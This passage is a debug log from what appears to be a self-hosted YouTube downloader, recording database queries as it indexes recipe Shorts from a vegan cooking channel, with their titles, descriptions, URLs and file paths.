source="media_items" db=1.4ms idle=2.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-14 14:20:01Z], 1] 20:25:47.936 [debug] QUERY OK source="media_items" db=1.1ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I use this vegan and gluten free dijon vinaigrette on everything from salads to sandwiches and I even dip my fries in it. This salad dressing is ideal for mediterranean style salads but is quite versatile for any of the salads you can dream up.\n\nCheck out the full recipe vid or subscribe to watch it later: https://youtu.be/6nekZpwY4GQ", "I put this s**t on everything! 🥗", "8df0b91e-8b22-413f-bc73-caebd0255469", 1, [], 39, false, "q2qDIAYkh4M", "https://www.youtube.com/shorts/q2qDIAYkh4M", 142, "/downloads/downloads/alec/Steamy Vegan/2023-08-14 I put this s**t on everything! 🥗/I put this s**t on everything! 🥗 [q2qDIAYkh4M].NA", false, false, true, 0, ~U[2023-08-14 14:20:01Z], ~U[2026-03-22 03:25:47Z], ~U[2026-03-22 03:25:47Z], "I use this vegan and gluten free dijon vinaigrette on everything from salads to sandwiches and I even dip my fries in it. This salad dressing is ideal for mediterranean style salads but is quite versatile for any of the salads you can dream up.\n\nCheck out the full recipe vid or subscribe to watch it later: https://youtu.be/6nekZpwY4GQ", "I put this s**t on everything! 🥗", 1, 39, false, "q2qDIAYkh4M", "https://www.youtube.com/shorts/q2qDIAYkh4M", "/downloads/downloads/alec/Steamy Vegan/2023-08-14 I put this s**t on everything! 🥗/I put this s**t on everything! 🥗 [q2qDIAYkh4M].NA", true, ~U[2023-08-14 14:20:01Z]] 20:25:47.937 [debug] QUERY OK source="sources" db=0.3ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:47.938 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:47.938 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [531] 20:25:47.938 [debug] Current batch of media processed. Will check again in 1000ms 20:25:48.939 [debug] Current batch of media processed. Will check again in 1000ms 20:25:49.940 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This tahini soy salad dressing is a delicious vegan recipe that you'll want to put all over any of your noodle salads. Subscribe and check out the full summer salads video where I show you how to make this ramen noodle salad and 2 others.\n\nFull recipe vid here: https://youtu.be/6nekZpwY4GQ", "duration" => 56, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-13 NOODS best friend 🍜 tahini soy dressing/NOODS best friend 🍜 tahini soy dressing [HUMfsWTygQI].NA", "id" => "HUMfsWTygQI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HUMfsWTygQI", "playlist_index" => 143, "timestamp" => 1691970240, "title" => "NOODS best friend 🍜 tahini soy dressing", "upload_date" => "20230813"} 20:25:49.941 [debug] QUERY OK source="sources" db=0.4ms idle=970.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:49.942 [debug] QUERY OK source="sources" db=0.4ms idle=358.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:49.944 [debug] QUERY OK source="media_items" db=1.8ms idle=358.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-13 23:44:00Z], 1] 20:25:49.945 [debug] QUERY OK source="media_items" db=0.7ms idle=361.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tahini soy salad dressing is a delicious vegan recipe that you'll want to put all over any of your noodle salads. Subscribe and check out the full summer salads video where I show you how to make this ramen noodle salad and 2 others.\n\nFull recipe vid here: https://youtu.be/6nekZpwY4GQ", "NOODS best friend 🍜 tahini soy dressing", "c8e0b8c3-ec3c-4e09-bdb0-9751b011285d", 1, [], 56, false, "HUMfsWTygQI", "https://www.youtube.com/shorts/HUMfsWTygQI", 143, "/downloads/downloads/alec/Steamy Vegan/2023-08-13 NOODS best friend 🍜 tahini soy dressing/NOODS best friend 🍜 tahini soy dressing [HUMfsWTygQI].NA", false, false, true, 0, ~U[2023-08-13 23:44:00Z], ~U[2026-03-22 03:25:49Z], ~U[2026-03-22 03:25:49Z], "This tahini soy salad dressing is a delicious vegan recipe that you'll want to put all over any of your noodle salads. Subscribe and check out the full summer salads video where I show you how to make this ramen noodle salad and 2 others.\n\nFull recipe vid here: https://youtu.be/6nekZpwY4GQ", "NOODS best friend 🍜 tahini soy dressing", 1, 56, false, "HUMfsWTygQI", "https://www.youtube.com/shorts/HUMfsWTygQI", "/downloads/downloads/alec/Steamy Vegan/2023-08-13 NOODS best friend 🍜 tahini soy dressing/NOODS best friend 🍜 tahini soy dressing [HUMfsWTygQI].NA", true, ~U[2023-08-13 23:44:00Z]] 20:25:49.946 [debug] QUERY OK source="sources" db=0.5ms idle=362.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:49.946 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:49.947 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [532] 20:25:49.947 [debug] Current batch of media processed. Will check again in 1000ms 20:25:50.948 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 26, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-09 HEALTHY CHOCOLATE ICE CREAM 🍦/HEALTHY CHOCOLATE ICE CREAM 🍦 [L6bQtc5Zqe0].NA", "id" => "L6bQtc5Zqe0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/L6bQtc5Zqe0", "playlist_index" => 144, "timestamp" => 1691539372, "title" => "HEALTHY CHOCOLATE ICE CREAM 🍦", "upload_date" => "20230809"} 20:25:50.949 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:50.950 [debug] QUERY OK source="sources" db=0.7ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:50.952 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-09 00:02:52Z], 1] 20:25:50.953 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HEALTHY CHOCOLATE ICE CREAM 🍦", "49f3dad6-b887-49e6-a6dc-9c5d77fff00d", 1, [], 26, false, "L6bQtc5Zqe0", "https://www.youtube.com/shorts/L6bQtc5Zqe0", 144, "/downloads/downloads/alec/Steamy Vegan/2023-08-09 HEALTHY CHOCOLATE ICE CREAM 🍦/HEALTHY CHOCOLATE ICE CREAM 🍦 [L6bQtc5Zqe0].NA", false, false, true, 1, ~U[2023-08-09 00:02:52Z], ~U[2026-03-22 03:25:50Z], ~U[2026-03-22 03:25:50Z], "", "HEALTHY CHOCOLATE ICE CREAM 🍦", 1, 26, false, "L6bQtc5Zqe0", "https://www.youtube.com/shorts/L6bQtc5Zqe0", "/downloads/downloads/alec/Steamy Vegan/2023-08-09 HEALTHY CHOCOLATE ICE CREAM 🍦/HEALTHY CHOCOLATE ICE CREAM 🍦 [L6bQtc5Zqe0].NA", true, ~U[2023-08-09 00:02:52Z]] 20:25:50.954 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=981.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:50.954 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:50.955 [debug] QUERY OK source="media_items" db=0.3ms idle=4.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [533] 20:25:50.955 [debug] Current batch of media processed. Will check again in 1000ms 20:25:51.956 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 13, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-03 Healthy Mango Sorbet 🥭 4 ingredients! 🍨/Healthy Mango Sorbet 🥭 4 ingredients! 🍨 [A4TsItRWI2Q].NA", "id" => "A4TsItRWI2Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/A4TsItRWI2Q", "playlist_index" => 145, "timestamp" => 1691078520, "title" => "Healthy Mango Sorbet 🥭 4 ingredients! 🍨", "upload_date" => "20230803"} 20:25:51.957 [debug] QUERY OK source="sources" db=0.6ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:51.958 [debug] QUERY OK source="sources" db=0.3ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:51.960 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-03 16:02:00Z], 1] 20:25:51.961 [debug] QUERY OK source="media_items" db=0.6ms idle=1005.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Healthy Mango Sorbet 🥭 4 ingredients! 🍨", "1ac28cab-9931-46e4-8473-7beba9b89fa0", 1, [], 13, false, "A4TsItRWI2Q", "https://www.youtube.com/shorts/A4TsItRWI2Q", 145, "/downloads/downloads/alec/Steamy Vegan/2023-08-03 Healthy Mango Sorbet 🥭 4 ingredients! 🍨/Healthy Mango Sorbet 🥭 4 ingredients! 🍨 [A4TsItRWI2Q].NA", false, false, true, 0, ~U[2023-08-03 16:02:00Z], ~U[2026-03-22 03:25:51Z], ~U[2026-03-22 03:25:51Z], "", "Healthy Mango Sorbet 🥭 4 ingredients! 🍨", 1, 13, false, "A4TsItRWI2Q", "https://www.youtube.com/shorts/A4TsItRWI2Q", "/downloads/downloads/alec/Steamy Vegan/2023-08-03 Healthy Mango Sorbet 🥭 4 ingredients! 🍨/Healthy Mango Sorbet 🥭 4 ingredients! 🍨 [A4TsItRWI2Q].NA", true, ~U[2023-08-03 16:02:00Z]] 20:25:51.961 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=986.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:51.963 [debug] QUERY OK source="media_profiles" db=0.8ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:25:51.964 [debug] QUERY OK source="media_items" db=0.6ms queue=0.4ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [534] 20:25:51.964 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-08-02 Denny’s Vegan Copycat 🍳 🤤 #shorts/Denny’s Vegan Copycat 🍳 🤤 #shorts [gU34QTTySwI].NA", "id" => "gU34QTTySwI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gU34QTTySwI", "playlist_index" => 146, "timestamp" => 1690985040, "title" => "Denny’s Vegan Copycat 🍳 🤤 #shorts", "upload_date" => "20230802"} 20:25:51.965 [debug] QUERY OK source="sources" db=1.1ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:25:51.966 [debug] QUERY OK source="sources" db=0.4ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:51.968 [debug] QUERY OK source="media_items" db=2.2ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-02 14:04:00Z], 1] 20:25:51.970 [debug] QUERY OK source="media_items" db=0.7ms idle=6.2ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Denny’s Vegan Copycat 🍳 🤤 #shorts", "e918be54-f566-44c0-91a4-392b8be20c6d", 1, [], 15, false, "gU34QTTySwI", "https://www.youtube.com/shorts/gU34QTTySwI", 146, "/downloads/downloads/alec/Steamy Vegan/2023-08-02 Denny’s Vegan Copycat 🍳 🤤 #shorts/Denny’s Vegan Copycat 🍳 🤤 #shorts [gU34QTTySwI].NA", false, false, true, 0, ~U[2023-08-02 14:04:00Z], ~U[2026-03-22 03:25:51Z], ~U[2026-03-22 03:25:51Z], "", "Denny’s Vegan Copycat 🍳 🤤 #shorts", 1, 15, false, "gU34QTTySwI", "https://www.youtube.com/shorts/gU34QTTySwI", "/downloads/downloads/alec/Steamy Vegan/2023-08-02 Denny’s Vegan Copycat 🍳 🤤 #shorts/Denny’s Vegan Copycat 🍳 🤤 #shorts [gU34QTTySwI].NA", true, ~U[2023-08-02 14:04:00Z]] 20:25:51.970 [debug] QUERY OK source="sources" db=0.4ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:25:51.971 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", 